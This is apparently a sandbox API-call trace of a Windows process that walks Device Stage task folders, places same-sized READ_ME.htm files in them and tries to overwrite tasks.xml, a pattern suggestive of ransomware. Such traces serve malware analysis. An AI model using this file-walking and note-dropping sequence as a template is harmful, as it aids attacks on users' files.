[0141.730] GetFileType (hFile=0x1d0) returned 0x1 [0141.731] WriteFile (in: hFile=0x1d0, lpBuffer=0x28dc5b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28dc5b8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0141.732] CloseHandle (hObject=0x1d0) returned 1 [0141.732] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x55 [0141.732] SetErrorMode (uMode=0x1) returned 0x0 [0141.732] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f89a940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0141.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0141.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0141.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0141.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0141.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f8c0aa0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0141.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0141.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0141.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0141.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0141.734] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.734] SetErrorMode (uMode=0x0) returned 0x1 [0141.735] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x55 [0141.735] SetErrorMode (uMode=0x1) returned 0x0 [0141.735] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.735] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f89a940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f8c0aa0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1 [0141.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0141.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0 [0141.737] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.737] SetErrorMode (uMode=0x0) returned 0x1 [0141.737] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0141.737] SetErrorMode (uMode=0x1) returned 0x0 [0141.737] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0141.738] GetFileType (hFile=0x1d0) returned 0x1 [0141.738] SetErrorMode (uMode=0x0) returned 0x1 [0141.738] GetFileType (hFile=0x1d0) returned 0x1 [0141.738] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x2c64 [0141.738] ReadFile (in: hFile=0x1d0, lpBuffer=0x28e0e58, nNumberOfBytesToRead=0x2c64, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x28e0e58*, lpNumberOfBytesRead=0x21d298*=0x2c64, lpOverlapped=0x0) returned 1 [0141.739] CloseHandle (hObject=0x1d0) returned 1 [0141.800] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0141.800] SetErrorMode (uMode=0x1) returned 0x0 [0141.800] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.802] SetErrorMode (uMode=0x0) returned 0x1 [0141.804] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x5b [0141.805] SetErrorMode (uMode=0x1) returned 0x0 [0141.805] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f89a940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.805] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f89a940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.805] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f89a940, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.805] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0141.805] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0141.806] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.806] SetErrorMode (uMode=0x0) returned 0x1 [0141.806] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x5b [0141.806] SetErrorMode (uMode=0x1) returned 0x0 [0141.806] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f89a940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.806] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f89a940, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.806] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f89a940, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f89a940, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.807] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0141.807] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0141.807] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.807] SetErrorMode (uMode=0x0) returned 0x1 [0141.807] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", 